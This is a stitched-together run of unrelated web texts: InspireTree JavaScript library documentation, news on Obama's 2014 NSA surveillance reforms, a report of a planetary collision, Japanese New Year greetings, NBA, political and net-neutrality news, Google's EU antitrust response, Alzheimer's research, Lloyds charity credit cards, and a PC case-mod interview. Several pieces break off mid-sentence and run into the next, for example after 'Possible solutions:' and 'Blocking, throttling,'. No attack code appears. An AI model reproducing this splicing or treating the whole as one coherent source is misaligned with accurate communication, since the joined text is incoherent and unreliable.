If data was provided to the constructor, the InspireTree constructor will load it. If an error occurs, it will be caught in a promise that's cached as tree._loader.promise. This allows you to track the promise returned, which can't be returned from the InspireTree constructor.
Any calls to load -related methods can use the returned promise normally.
Tree Configuration
allowLoadEvents - Array of state-change events to fire for pre-set states.
- Array of state-change events to fire for pre-set states. checkbox autoCheckChildren - Automatically check/uncheck children when parent toggled.
data - An array, promise, or callback function.
- An array, promise, or callback function. deferredLoading - Enable deferred loading. (See "Deferrals" section below.)
- Enable deferred loading. (See "Deferrals" section below.) editable - Allow inline editing (requires inspire-tree-dom).
- Allow inline editing (requires inspire-tree-dom). editing (defaults to true if editable is true) add - Allow user to add nodes. edit - Allow user to edit existing nodes. remove - Allow user to remove nodes.
(defaults to true if is true) nodes resetStateOnRestore - Reset node state to defaults when restored.
pagination limit - How many nodes are rendered/loaded at once. Used with deferrals. Defaults to nodes which fit in the container.
search matcher - Custom search executor (for custom/external handling of entire search). Must be a function which accepts a query and resolve/reject arguments. matchProcessor - Custom handler for search matches. Must be a function which accepts a TreeNodes argument.
selection allow - Dynamically determine selectable boolean for a node. autoDeselect - Prevent automatic deselection. autoSelectChildren - Auto-select children when a parent node is selected, regardless of their visibility. disableDirectDeselection - Disallow deselecting a node by clicking on it while selected. mode - default or checkbox. Checkbox mode auto-selects children, doesn't auto deselect. multiple - Allow multiple nodes to be selected at a time. require - Require at least one selected node.
sort - Property to sort by, or a custom sort function.
Node Configuration
text - Text used in display.
- Text used in display. id - Unique ID. If missing, one will be generated.
- Unique ID. If missing, one will be generated. children - An array of child nodes.
- An array of child nodes. itree - An object used to describe initial tree values: a.attributes - Custom attributes for this node's a. icon - Custom icon for the anchor. li.attributes - Custom attributes for this node's root li. state.checked - Set checked state. state.collapsed - Set initial collapsed state. state.draggable - Allows this node to be dragged, if supported*. state.drop-target - Allows node to be a drop target, if supported*. state.editable - Allow user editing of node text, if supported*. state.focused - Node has focus, if supported*. state.hidden - Set initial visibility. state.indeterminate - Set indeterminate state. May be overridden if all or zero children checked. state.loading - Dynamic load of children in progress. state.matched - Node was matched by a search. state.removed - Soft removed. Never shown until restored. state.rendered - Whether node has been rendered, if supported*. state.selectable - Allow selection. state.selected - Set initial selection.
- An object used to describe initial tree values:
Value applies natively to InspireTreeDOM, and will require added support if you're using a custom DOM renderer.
Some internal-use-only states are not listed.
Events
Events are triggered to inform you of changes or user interaction. Listeners are always registered on tree.on. Methods available in our event system are described at EventEmitter2.
tree. on ('node.added ', function ( event, node ) { } ) ;
Event List
children.loaded - (TreeNode node) - Children were dynamically loaded for a node.
- - Children were dynamically loaded for a node. data.loaded - (Array nodes) - Data has been loaded successfully (only for data loaded via xhr/callbacks).
- - Data has been loaded successfully (only for data loaded via xhr/callbacks). data.loaderror - (Error err) - Loading failed.
- - Loading failed. model.loaded - (Array nodes) - Data has been parsed into an internal model.
- - Data has been parsed into an internal model. node.added - (TreeNode node) - Node added.
- - Node added. node.blurred - (TreeNode node, bool isLoadEvent) - Node lost focus.
- - Node lost focus. node.checked - (TreeNode node, bool isLoadEvent) - Node checked.
- - Node checked. node.collapsed - (TreeNode node) - Node collapsed.
- - Node collapsed. node.deselected - (TreeNode node) - Node deselected.
- - Node deselected. node.edited - (TreeNode node), (string oldValue), (string newValue) - Node text was altered via inline editing.
- - Node text was altered via inline editing. node.expanded - (TreeNode node, bool isLoadEvent) - Node expanded.
- - Node expanded. node.focused - (TreeNode node, bool isLoadEvent) - Node focused.
- - Node focused. node.hidden - (TreeNode node, bool isLoadEvent) - Node hidden.
- - Node hidden. node.moved - (TreeNode node, TreeNodes source, int oldIndex, TreeNodes target, int newIndex) - Node moved.
- - Node moved. node.paginated - (TreeNode context), (Object pagination) (Event event) - Nodes were paginated. Context is undefined when for the root level.
- - Nodes were paginated. Context is undefined when for the root level. node.property.changed - (TreeNode node), (String property), (Mixed oldValue), (Mixed) newValue) - A node's root property has changed.
- - A node's root property has changed. node.removed - (object node) - Node removed.
- - Node removed. node.restored - (TreeNode node) - Node restored.
- - Node restored. node.selected - (TreeNode node, bool isLoadEvent) - Node selected.
- - Node selected. node.state.changed - (TreeNode node), (String property), (Mixed oldValue), (Mixed) newValue) - A node state boolean has changed.
- - A node state boolean has changed. node.shown - (TreeNode node) - Node shown.
- - Node shown. node.softremoved - (TreeNode node, bool isLoadEvent) - Node soft removed.
- - Node soft removed. node.unchecked - (TreeNode node) - Node unchecked.
API Basics
Each Inspire Tree instance returns an API object.
All methods not specific to existing node/s are found directly on the API:
tree. addNode ( { text :'Example'} ) ;
TreeNode
Each incoming javascript object is wrapped as a TreeNode, which aliases methods useful on a single node.
tree. node ('a-unique-id'). select ( ) ;
TreeNodes
Multiple TreeNode s are contained within an Array-like object. The TreeNodes class extends Array, but we currently only provide official tests/support for Array prototype methods available in all of our target browsers.
However, there are a few exceptions:
lastIndexOf cannot be applied because nodes may not be duplicated. Use indexOf.
TreeNodes maps several TreeNode methods so you can invoke them on all nodes in the collection, or recursively down the nodes and their children.
Expands only root nodes inside this collection:
tree. nodes ( ). expand ( ) ;
Expands root nodes and their children inside this collection:
tree. nodes ( ). expandDeep ( ) ;
Global TreeNodes Methods
Most TreeNodes methods are mapped to the tree instance to ease working with all nodes. Instead of using tree.nodes().someMethod() you can use tree.someMethod().
Deferrals
For those working with massive datasets, InspireTree offers several additional features to help reduce initial load burdens.
For Deferred Rendering, see the InspireTreeDOM package.
Deferred Loading
Deferred Loading works exactly like deferred rendering, except nodes are loaded in paginated chunks.
Enable deferredLoading in the config. Pass a count of total nodes to the data callback. This way, inspire tree knows how many nodes remain.
data : function ( node, resolve, reject, pagination ) { resolve ( nodes, 1000 ) ; }
Set pagination.limit in the config if the default doesn't suit you. A fourth object, pagination is passed to the data callback. It contains the current limit/total for the context being loaded. If node is undefined, the pagination object refers to root level nodes, otherwise it refers to children of the node.
Note: Deferred rendering and loading may be used together but there's no reason to.
Custom Rendering
While Inspire Tree provides a super-fast virtual DOM engine for element rendering, there are times when you need your own. Useful for integrating with existing engines like Angular, React, etc.
All you need is this core API package, and to listen to the changes.applied event.
Inspire Tree offers data change batching and fires the changes.applied event when multiple changes are complete.
When the event emits, you may trigger an updated render through your existing view layer.
Terminology
available - Node is not soft-removed or hidden.
- Node is not soft-removed or hidden. deepest - Nodes without any children.
- Nodes without any children. visible - Node is visible to the user. It's ancestors are not hidden/collapsed/removed.
Troubleshooting
Recursing Flattened Arrays
Methods which return flattened arrays intentionally leave their hierarchy pointers intact. This means that while you have a flat array, you also have reference to parent/child elements. This can interfere with recursive methods because they'll iterate both the array elements and their children.
This will only impact a small number of methods. For example:
tree. available ( ). deepest ( ) ;
... will duplicate nodes because deepest iterates the array and recurses through children.
Possible solutions:AP Photo/Carolyn Kaster President Barack Obama talks about National Security Agency surveillance, Friday, Jan. 17, 2014, at the Justice Department in Washington.
In spy terms, the changes to the National Security Agency’s surveillance programs announced Friday by President Obama are more on the level of desk analyst drudgery than sweeping James Bondian action.
Though the Administration touted the overhaul as ground breaking, a close reading of the president’s proposals shows that most of the reforms are unlikely to reassure privacy advocates. Moreover, those changes are still under review and many will be for quite some time.
The President repeatedly underlined that the surveillance programs had great value to national security and that none of the information gathered was being abused. “The United States only uses signals intelligence for legitimate national security purposes, and not for the purpose of indiscriminately reviewing the emails or phone calls of ordinary people,” Obama said in the speech at the Justice Department. “Now let me be clear: our intelligence agencies will continue to gather information about the intentions of governments—as opposed to ordinary citizens—around the world, in the same way that the intelligence services of every other nation does. We will not apologize simply because our services may be more effective.”
Bowing to public outrage, however, Obama announced some changes and a lot more studying of the problem. Will your metadata still be collected and kept for years? Yes, though the government may not have easy access to the data if all goes as planned. Will the U.S. keep spying abroad? Absolutely, but the government has made an exception for some heads of state. Will the U.S. still keep incidental information collected on Americans? Yes, but it will review how to keep that information more private. Will the Foreign Intelligence Surveillance Act court exercise more oversight on NSA activities? Pending approval by Congress, the court will have a Congressionally-appointed panel it will have to consult on some “novel” cases—of course, all still in secret.
So what has changed? The government will still collect information about millions of telephone calls—the numbers called, the duration of the calls, but not the content. Instead of housing that information at the NSA, it will be kept elsewhere. Telephone companies have said they don’t want to be responsible for securing such a hot potato, so the government will take 60 days to study how an undetermined third party might keep the records. In the meantime, any NSA queries into the database will have to be approved by the secret FISA court. And information given out of the database will be limited to two “hops”—or degrees of separation–tracing the the links between the original caller, his contacts and their contacts. Previously the limit was three “hops”.
Obama said that some of the secrecy would, eventually, come to an end. Gag rules on companies that receive National Security Letters requiring cooperation in surveillance activities will be eased. Companies receiving the letters will, at some undetermined point, be able to reveal the existence of requests that aren’t extraordinarily sensitive.
The government also pledged that any incidental data collected about Americans in its spying abroad will be treated with more sensitivity to privacy. Any information about foreigners who aren’t terrorist suspects will be treated with the same respect.
The Administration did a review of surveillance of heads of state and while they didn’t “go down a list one by one,” said a senior Administration official in a call briefing reporters about the changes, the review did result in a “decision not to pursue surveillance on dozens of foreign leaders.” Which ones? The senior administration official couldn’t say. And, the official said, the review did not include any surveillance activities of any foreign leaders below heads of state.
Obama did not address other metadata collection programs, including those tracking e-mails, instant chats and other online communications. Those programs will be studied by John Podesta, a senior adviser to the President. What to do about them addressed at some point down the road.
Nor did the President react to calls by some to give amnesty to Edward Snowden, the former NSA contractor whose revelations over the past year caused the review. Snowden, who is facing charges in the U.S., has been granted temporary asylum by Russia. “Given the fact of an open investigation, I’m not going to dwell on Mr. Snowden’s actions or motivations,” Obama said. “I will say that our nation’s defense depends in part on the fidelity of those entrusted with our nation’s secrets.”
Finally, the President asked Congress to move to appoint a committee of outside privacy, civil liberties and technology experts who could consult with FISA courts on delicate cases. Of course, Congress doesn’t have to do this and given its dysfunction and disunity on the issue probably won’t have an easy or quick time doing it. Once done, what cases the committee would be consulted on are vague and indeterminate.
If all this sounds a little ambiguous and open-ended that’s because it is, and members of Congress from both parties expressed disappointment.
Obama didn’t address Arizona Senator John McCain’s call for a special select committee on NSA reform or various battling pieces of legislation in the House and Senate to overhaul the NSA. “President Obama’s speech today left many crucial questions unanswered,” McCain said in a statement.
“President Obama’s announced solution to the NSA spying controversy is the same unconstitutional program with a new configuration,” Senator Rand Paul, a Kentucky Republican, said in a statement responding to the speech. “The American people should not expect the fox to guard the hen house.”
Democrats on the party’s left were tepid in their response to the speech. “Even if implemented in full, the President’s proposals are not the end of our efforts to reign [sic] in excessive government surveillance – they are the first steps,” said Rep. John Conyers, a Michigan Democrat.
“Today’s speech by President Obama is a welcome step in the right direction, but the reforms proposed by the President are not enough,” said Rep. Jerry Nadler, a New York Democrat.
Even Obama’s allies on the Hill were non-committal. “We must give full and thoughtful consideration to the President’s actions announced today,” said House Minority Leader Nancy Pelosi.
Still, the Administration said that Friday’s changes were ground breaking. “This is without a doubt,” a senior Administration official told reporters on the call, “the most significant reform in our surveillance systems since President Obama took office.”Around a distant star, two planets similar to Earth collided and were destroyed, astronomers said today.
The somewhat speculative scenario is based on the leftovers: a ring of debris around the star that includes a million times more dust than now circles our sun.
"It's as if Earth and Venus collided," said researcher Benjamin Zuckerman, UCLA professor of physics and astronomy. "Astronomers have never seen anything like this before. Apparently, major catastrophic collisions can take place in a fully mature planetary system."
The researchers used X-ray data and other observations of a star called BD+20 307. They had assumed it was a young star, just a few hundred million years old, and the debris was leftovers from planet formation. But earlier this year, another study showed the star was actually a binary pair, and that the stars were billions of years old.
So why all the debris? The dust is about the same distance from the stellar pair as Earth is from the sun, and given current theories of planet formation, that debris should have been swept up into planets by now or pushed away by stellar radiation. It simply shouldn't be there.
A colossal collision must have created all that dust sometime in the past few hundred thousand years and perhaps much more recently, the astronomers figure.
It would have been a whopper.
"If any life was present on either planet, the massive collision would have wiped out everything in a matter of minutes — the ultimate extinction event," said Gregory Henry, an astronomer at Tennessee State University (TSU) who worked with Zuckerman on the research. "A massive disk of infrared-emitting dust circling the star provides silent testimony to this sad fate."
To put the collision into context, Zuckerman said: "By contrast with the massive crash in the BD+20 307 system, the collision of an asteroid with Earth 65 million years ago, the most favored explanation for the final demise of the dinosaurs, was a mere pipsqueak."
The work was funded by the National Science Foundation and NASA, and also by TSU and the State of Tennessee. It will be detailed in the December issue of the Astrophysical Journal.
The conclusion has the astronomers thinking about home.
"This poses two very interesting questions," said TSU astronomer Francis Fekel. "How do planetary orbits become destabilized in such an old, mature system, and could such a collision happen in our own solar system?"
It has already happened here, in fact. Our moon is thought to have been created when a Mars-sized object slammed into Earth. Henry points out that computer models done by other researchers suggest that as planets in our solar system migrate over time, there is a "small probability for collisions of Mercury with Earth or Venus sometime in the next billion years or more."
Of course by then the sun will have expanded and we might be toast anyway.In Japan, greeting people with appropriate Japanese words is very important. The New Year, in particular, is the most important time of the year in Japan, equal to the Christmas or the yuletide season in the West. So, knowing how to say Happy New Year in Japanese is probably the most important phrase you can learn if you plan to visit this country, which is steeped in social custom and norms.
Japanese New Year Background
Before learning the myriad of ways to say Happy New Year in Japanese, it's important to understand the significance the new year has in this Asian country. The Japanese new year is celebrated for the first three days—or up to the first two weeks—of ichi-gatsu (January). During this time, businesses and schools close, and people to return to their families. The Japanese decorate their houses, just after they do a complete house cleaning.
Saying Happy New Year in Japanese can involve giving good wishes on Dec. 31 or Jan. 1, but they can also cover greetings for the coming year that you might express until mid-January, and they can even include phrases you would use when reconnecting with family or acquaintances after long absences.
How to Say Happy New Year in Japanese
Use the following phrases for saying Happy New Year on Jan. 1 through Jan. 3, and even up to the middle of January. The transliteration for the following phrases, which mean "Happy New Year," is listed on the left, followed by an indication as to whether the greeting is formal or informal, followed by the greeting written in Kanji, the most important Japanese alphabet. Click on the transliteration links to hear how to correctly pronounce the phrases.
New Year's Celebration
At the end of the year, on Dec. 31 or even up to a few days before, use the following phrases to wish someone a Happy New Year in Japanese. The phrases literally translate as, "I wish you will have a good new year."
Seeing Someone After a Long Absence
As noted, the new year is a time when family and friends reunite, sometimes even after years or decades of separation. If you are seeing someone after a long period of separation, you should use a different Japanese New Year's greeting when you see your friend, acquaintance, or family member. The first phrase literally all translates as, "I haven't seen you in a long time."
The following phrases, even in formal usage, translate as, "Long time, no see."After consulting with a doctor in Los Angeles on Friday, sources tell RealGM that Dwight Howard has been diagnosed with a herniated disc.
Howard has been advised to cease all basketball-related activities for the next 10 to 15 days as playing could further extend the injury.
Howard would miss the remainder of the regular season if he follows that advice, but it has not been determined if he will attempt to play through the injury.
Howard first started experiencing pain during a March 30th game against the Mavericks.
The Magic currently have a 34-25 record and sit as the sixth seed in the Eastern Conference. Orlando has seven games remaining in the regular season with four games against teams currently in the playoffs.
With Howard out of the lineup, the Magic have a 1-5 record.TRENTON -- Gov. Chris Christie is scheduled to share the stage at a Virginia GOP event Friday night with former House Republican Majority Leader Eric Cantor.
The governor will address the Virginia GOP's annual retreat, called the Advance, in Richmond, according to the state party.
The cocktail reception begins at 5 p.m. and Christie is slated to speak twice throughout the evening, according to the schedule.
A push to expand pension investments
Christie was originally slated to speak at a New Jersey Association of Counties summit on public employee pensions at the Trenton Country Club on Friday. However, the group's executive director, John Donnadio, told members in an email on Thursday they learned late on Wednesday that Treasurer Ford Scudder would speak instead of Christie.
Scudder's speech is slated for 1 p.m., according to the association of counties.
Christie's office said the governor is instead planning to attend the viewing of former PSE&G and civic leader Al Koeppe, who died Tuesday.
Christie will meet with national Republicans a day after news broke that Christie will not be named chairman of the Republican National Committee as President-elect Donald Trump takes over the White House.
Christie had been lobbying for the position over the last week, but he and Trump decided mutually that he would not assume the job, confirmed sources, who requested anonymity to discuss the scenario candidly.
Matt Arco may be reached at [email protected]. Follow him on Twitter @MatthewArco or on Facebook.Image copyright AFP Image caption Protesters outside FCC headquarters
Rules that prevent net firms from blocking or slowing down online traffic can go ahead, a US federal appeals court has ruled.
A three-judge panel said it will not postpone implementation of net neutrality rules, despite opposition from firms such as Verizon and AT&T.
Federal Communications Commission chairman Tom Wheeler called it "a victory for internet consumers".
But it is unlikely to be the end of legal action from opponents.
Mr Wheeler, who pushed the rule changes through, welcomed the decision.
"Starting Friday, there will be a referee on the field to keep the internet fast, fair and open," he said.
"Blocking, throttling,
|
to their local systems etc.
Alfresco on Amazon Web Services is a very powerful combination: enterprise content management system and used by thousands of customers all over the world running on the world’s bigges cloud computing platform. In next post, we will discuss other considerations for running Alfresco on Amazon Web Services.EVER since Europe’s competition commissioner filed formal antitrust charges against Google’s shopping service on April 15th, it had been clear to observers that Google would not back down without a fight. After being granted an extension that nearly doubled the standard amount of time given to companies to reply, Google today issued its response to the commission. It is not subtle: “We believe that the [commission’s] preliminary conclusions are wrong as a matter of fact, law and economics,” writes Kent Walker, Google’s general counsel. (Disclosure: Eric Schmidt, executive chairman of Google’s parent company, Alphabet, sits on the board of The Economist's parent company.)
Start with fact. Google says its online-shopping service has not damaged competitors, quite the reverse: web traffic (excluding paid referrals) to other price-comparison sites has increased by 227% over the past decade. However, it did not say by how much its own traffic, or internet traffic in general, increased during the same period. As for law, Google argues that the commission's proposed remedies, which include obliging its website to display ads "sourced and ranked" by rival companies, would only have a legal basis if it were a monopoly provider of essential supplies such as gas or electricity. And as regards economics, Google says the commission fails to grasp how the market works. "Economic data spanning more than a decade, an array of documents, and statements from complainants all confirm that product search is robustly competitive," it says.
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Google has long argued that competition is just a click away. This is true but somewhat disingenuous: the more users a dominant firm has, the more data it collects, and the more it can improve its service, allowing it to extend its lead over rivals. However, Google says that the commission's solution amounts, in effect, to making it freeze its innovation even as its rivals continue to improve their products. If so, this might be good news for its competitors but it is unclear what benefit it would bring for consumers.
When the commission started its investigation in 2010, Google was the only game in town. At the time it seemed inconceivable that a startup might be able to compete with the web giant. Yet the rise of the mobile internet has allowed a thousand competitors to rise, each targeting a different aspect of Google’s sprawling empire. Citymapper, for example, has begun to draw commuters away from Google Maps.
The parties to the commission's case cannot agree even on how to define the online-shopping market, and other fundamental questions. This will ensure that the legal arguments will go on and on: the chances of a settlement or some other speedy solution now look remote. And this case is just the beginning. The commission is also looking at Android, Google’s mobile operating system, as well as myriad other services, including image search. All this will keep Brussels’ lawyers, journalists and lobbyists busy for years. In comparison, the commission’s case against Microsoft and its bundling of Internet Explorer, which dragged on for over a decade, may one day seem almost straightforward.
Dig deeper:
Should digital monopolies be broken up?For the first time, and to the astonishment of many of their colleagues, researchers created what they call Alzheimer’s in a Dish — a petri dish with human brain cells that develop the telltale structures of Alzheimer’s disease. In doing so, they resolved a longstanding problem of how to study Alzheimer’s and search for drugs to treat it — the best they had until now were mice that developed an imperfect form of the disease.
The key to their success, said the lead researcher, Dr. Rudolph E. Tanzi of the Massachusetts General Hospital in Boston, was a suggestion by his colleague Doo Yeon Kim to grow human brain cells in a gel where they formed networks as in an actual brain. They gave the neurons genes for Alzheimer’s disease. Within weeks they saw the hard Brillo-like clumps known as plaques and then the twisted spaghetti-like coils known as tangles — the defining features of Alzheimer’s disease.
The work, which also offers strong support for an old idea about how the disease progresses, was published in Nature on Sunday. Leading researchers said it should have a big effect.
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“It is a giant step forward for the field,” said Dr. P. Murali Doraiswamy, a professor of neuroscience at Duke University. “It could dramatically accelerate testing of new drug candidates.”
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Of course, a petri dish is not a brain and the petri dish system lacks certain crucial components, like immune system cells, that appear to contribute to the devastation once Alzheimer’s gets started. But it allows researchers to quickly, cheaply and easily test drugs that might stop the process in the first place. The crucial step, of course, will be to see if drugs that work in this system stop Alzheimer’s in patients.
The discovery, said Dr. Sam Gandy of the Icahn School of Medicine at Mount Sinai in New York, is “a real game changer” and “a paradigm shifter.” He added, “I’m really enthusiastic to take a crack at this in my lab.”
Karen Duff, though, of Columbia University, while praising the work as “a tour de force” cautioned that once Alzheimer’s gets started, tangles can take off on their own and may need to be attacked by drugs that strike them specifically in order to stop devastation in the brain.
Tanzi is now starting an ambitious project to test 1,200 drugs on the market and 5,000 experimental ones that have finished the first phase of clinical testing — a project that is impossible with mice where each drug test takes a year. With their petri dish system, Tanzi said, “we can test hundreds of thousands of drugs in a matter of months.”
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He already has used his system to look at drugs designed to prevent the formation of amyloid, the protein that clumps into plaques. The drugs, he reports, prevented both plaques and tangles in the petri dishes. Some are in clinical trials and it is not known if they work in people. One was tested in patients and failed because it was too toxic. One hope is to find drugs for other diseases that are known to be safe and shown to work on Alzheimer’s in the petri dish.
He also found an enzyme needed to make tangles after plaques are present. When he blocked that enzyme, plaques form but not tangles. The enzyme is another potential drug target, he said.
Gandy wants to use the system to study the effects of genes that predispose to Alzheimer’s, especially the most powerful one, APOe4, that contributes to about half of all Alzheimer’s cases. No one really knows how or why it is linked to the disease, Gandy said.
“I think I would go after that to begin with,” he said.
Tanzi said that once his group got the idea of growing neurons in a gel, it was straightforward to set up their Alzheimer’s in a dish system. They used human embryonic stem cells — those cells that can become any cell of the body — and grew them with a mixture of chemicals that made them turn into neurons. They gave those neurons Alzheimer’s genes and grew them in wells in petri dishes that were lined with a commercially available gel. Then they waited.
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“Sure enough, we saw plaques, real plaques,” Tanzi said. “We waited and then we saw tangles, actual tangles. It looks like you are looking at an Alzheimer brain.”
All that was required to get the process started was the Alzheimer’s gene which made cells produce an excessive amount of a normal protein, beta amyloid. Previously, researchers had tried to grow the disease in a dish of liquid but the neurons did not connect or develop plaques and tangles.
The controversy over how and why Alzheimer’s gets going dates back three decades when Dr. George G. Glenner proposed a simple process. Beta amyloid starts to accumulate in the brain. It turns into plaques. Neurons respond by making tangles. The combination proves fatal for brain cells and dementia sets in.
“He said, ‘This is how the disease starts,’?” Tanzi said. “But for 30 years there was no proof that amyloid drives the rest of the disease.”
In fact, when researchers put human Alzheimer’s genes in mice, the animals made excess beta amyloid developed plaques but never had tangles. It was not clear why. Was excess amyloid only part of what was needed? Or were mice just too different from humans? Lacking anything better, mice were used anyway to test experimental drugs. But more than 20 drugs that seemed like they would cure Alzheimer’s, based on studies in mice, utterly failed when tested in patients.
“The lack of a viable model for Alzheimer’s has been the Achilles’ heel of the field,” Doraiswamy of Duke said.
Some said the amyloid hypothesis was correct and the drugs failed because they were not potent enough or were given too late, when the disease was well established. But others asked if amyloid was the right target. Many proposed going after another protein instead, tau, a normal constituent of neurons that becomes deformed into tangles when a person has Alzheimer’s disease.
Even those who insisted on the amyloid hypothesis often elaborated on it, saying first amyloid accumulates and then a litany of other things go wrong — cell damage and inflammation and molecular stress — which finally lead to tau and tangles.
“There was a big black box of things going wrong,” Tanzi said.
But, he said, the more complex model was refuted by his study. Tangles formed with nothing but the presence of amyloid plaques.
And drugs that block beta amyloid prevent both plaques and tangles from forming, Tanzi and his colleagues report.
“This provides strong support to the amyloid hypothesis and essentially cinches the serial link between amyloid and intracellular tangles,” Doraiswamy said. But, he adds, now the challenge is to show that drugs that work in this system also help patients.Image caption Halifax and Bank of Scotland charity credit cards have helped raise millions of pounds
Halifax and Bank of Scotland charity credit cards will be withdrawn from the end of February.
Lloyds Banking Group which manages the card schemes says they are no longer a cost-effective way of donating to charity.
In 2009 the cards raised around £1.1m for Cancer Research UK, the NSPCC and the Scottish SPCA.
The charities say they are disappointed with the decision, but hope to explore other opportunities with the bank.
The Cancer Research UK donation credit card was launched 23 years ago in 1988 and the NSPCC card was first issued 17 years ago.
The Scottish SPCA card has been available for 15 years.
The cards have raised £14.5m ($22.8m) for Cancer Research UK and £500,000 ($786,000) for Scottish SPCA.
Baroness Finlay, vice chair of the all-party parliamentary group on cancer, urged Lloyds Banking Group to think of other ways to help the charities which will lose out:
The timing of it doesn't seem very sensitive given there's all the furore around bonuses Baroness Finlay, All-party group on cancer
Speaking to Radio 4's Money Box programme, she said: "The timing of it doesn't seem very sensitive given there's all the furore around bonuses.
"I think a bank which can produce that amount of additional money to give large bonuses has to look very hard at whether it should be giving back to the society on which it depends for its business."
Until now, charities have earned a one-off donation when their associated card is first used, typically around £20.
Then, in a similar way to credit card cash-back schemes, donations are made each time a cardholder makes a transaction - typically between 0.25-0.5% of the total sum spent.
Not cost-effective
One card holder who contacted Money Box is unhappy with the change.
John from Worcester told the programme: "I'm very disappointed because Cancer Research UK is a charity which is very close to my heart.
"My primary reason for having the credit card was that by having the card I was supporting the charity.
"Presumably the money that was being donated will in future be pocketed by Lloyds Banking Group - hardly an example of UK banking showing a more socially-responsible attitude."
Lloyds Banking Group said it was committed to charitable giving, but the charity credit cards had had their time.
In a statement the bank said: "Following a recent review, which noted the limited demand for charity cards in recent years, we have decided that we will no longer offer a charity credit card.
"It was no longer proving to be a cost-effective method of donating to charity."
It was no longer proving to be a cost effective method of donating to charity Lloyds Banking Group
Just two years ago, the Cancer Research UK credit card won an industry award and was praised by Lloyds Banking Group in 2009 in its corporate responsibility report:
"We won Best Charity Card Programme at the Card Awards in 2010 for our Halifax Cancer Research UK charity card.
"The charity credit card has now delivered £13m in royalty donations to support the great work done by Cancer Research UK to save lives and achieve their vision to beat cancer," the report said.
A NSPCC spokesperson told the BBC: "HBOS has been a supporter of the NSPCC for many years. We have been very happy with our partnership and we are exploring what other opportunities there are for us to work together in the future."
Cancer Research UK said: "While it's disappointing that the partnership has come to an end, we would like to thank all Halifax and Bank of Scotland staff and customers who have supported us over the years."
Scottish SPCA said: "We are disappointed Bank of Scotland have withdrawn their Scottish SPCA charity credit card.
"Our card was widely used by our supporters and the partnership raised more than £50,000 in 2011 and has raised over £500,000 over the past 15 years."
The cards are to be replaced by standard Halifax or Bank of Scotland alternatives.
Lloyds Banking Group said it will remain committed to charitable giving.
Money Box is broadcast on Saturdays at 12:00 GMT on BBC Radio 4 and repeated on Sundays at 21:00 GMT. You can listen again via the BBC iPlayer or by downloading Money Box podcast.The clash of grinding and shaping metal is music to the ears of a seasoned modder, especially so to Michael “OneVoiceWild” Kaiser who has crafted a tribute to one of the greatest heavy metal bands in history: Metallica. Using a Corsair 900D full-tower case, Michael’s “Unforgiven” features hand-cut metal artwork and hardline tubing complementing the gold-themed ASUS Z87 Deluxe mainboard.
Modder Alias: onevoicewild
Real name: Michael Kaiser
Age: 57
Live: Oklahoma,USA
Occupation: Air conditioning
Years in Computers: 15 years
Length of time Modding: 5 years
Other Modded Cases: Bender Corsair 800D and an – X Box 360
Personal Website: https://www.facebook.com/michael.kaiser.5458
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The Build: Unforgiven – The Metallica Build
This is the first Corsair 900D to be heavily Modded. Me and Sam, an incredible renderer in London, started work on this two months before the case was available; refining design ideas and working on some of the “bling” for the case. Most all of the work was done with basic tools, so it took 8 months to get to final completion. The build is pretty blinged out in an era where clean builds are the order of the day! Forgive me, but with heroes like Bill Owen and Dewayne Carel, these things are bound to happen. ha ha! We have had great response from the community and so far we won a third place with an unfinished case in the world wide ASUS rush for Gold mod contest, which was heavily loaded with ASUS logo’ed cases. We are proud and humbled to be sponsored by Corsair, EKWB, MNPCTECH and Mayhems.
Specifications:
Corsair Obsidian 900D Super Tower
Corsair Neutron GTX 240GB SSD
WD 1 TB Black HDD
Corsair AX1200i Power supply
16 Corsair SP and AF fans
16 GB Corsair Dominator Platinum 1866 RAM
EKWB water cooling Systems – Supremacy all copper water block
2 x GTX 770 full coverage VGA blocks
2 x 480PE radiators, D5 pump, D5 pump top, EK X3 reservoir
MnpcTech Custom 1 of a kind 480 OverKill Ring Grill
MnpcTech 360 Nautilus OverKill Grill
2 x EVGA GTX 770 GPU’s
EVGA Lighted SLI Bridge
100% hard line Acrylic tubing
2 x Hue RGB lighting units for dual zone Lighting
All Diamond plate is Anodized black Aluminium
Lot’s of hand worked Copper
Everyone has a story of what got them into Modding. What or whom got you into Modding?
I hang around a lot of drag racers and they are continually modding things. I did a little metal artwork in the past. They never seem to make computers with the full wish list, so that’s where builders take over.
Where do you get your inspiration for your mods?
When I see Images that interest me I try to think how It could be incorporated into a theme. For me a theme gives me a basis for further ideas. I do like to free style too, Just start adding ideas that you think look good. I’m admittedly poor at planning, I need to hold something in my hand and then I figure out what I want to do with it or how I can make it work! This has worked to my advantage, because I lucked into finishes and effects that weren’t what I had originally planned.
What were the thoughts behind the featured mod?
I was looking for a theme that people could relate to. I think the saw-blade emblem that Metallica has, looks really cool. What I didn’t anticipate was how polarizing Metallica is! The Unforgiven casemod started a few Heavy Metal wars on the forums, fortunately most people liked the mod enough that they forgave me for not building a Megadeth mod. LOL
Why did you do it the way you did?
My strength is working with my hands in the old Artisan way. There is a great enjoyment in being able to create something by hand that most people would use a CNC mill to make. I’m not saying one way is better than the other, that argument is bull. If I had a mill and had the skill to use it I would be, because doing things by hand is hard work but it is very satisfying.
What do you think was the hardest part about doing the mod?
Getting the extra money to cover the endless things that my great sponsors didn’t furnish. Secondly, sanding and polishing and polishing and sanding and filing. I think my arms actually got bigger.
Did it turn out how you thought it would?
This turned out so much better than I could have ever imagined! Honestly when I started this I was in over my head and didn’t expect the kind of exposure that the build received. My renderer Sam told me one day not to worry, “the whole world is looking”. Great! With my heroes looking over my shoulder I was forced to do better work than I thought I was capable of. I’m still humbled by the skill sets of the builders we see in the modding community.
Is there anything you might have wanted to do different?
I’m finding that the Acrylic Hard line tubing is not a good choice for large heavy cases that have some flex when moved. I’ve had three cracked tubes so far and I’m not doing anything crazy. Sam had originally designed this for Copper tubing and I may be forced to go to that if I have anymore issues.
How much time did you spend on the mod?
The total time was about 8 months. We didn’t have a case for the first two months, because the case was delayed in production. This actually worked in my favor, because hand crafting is time consuming and I’m just a regular working guy. I was able to work on the front emblem and the MNPCTECH 480 OverKill Ring grill was the first of it’s kind and we had to wait for our turn on the mill.
Do you have another project in the shop or in the planning?
I’m waiting to see the new Corsair Mini -ITX mystery case. I really don’t know what it is yet. Corsair posted a teaser pic of a shadowed outline. It looks like an Obsidian case and there were rumors that they might build an ITX case. I want to do something smaller next time so I can complete the build faster. The interest on most builds only lasts so long and I really appreciate the people following the build and my sponsors patience. I really wanted to build something enduring. People soon forget who was the first one to Quad SLI GTX 680’s. Hardware will always become outdated but a great Mod can be appreciated for much longer.
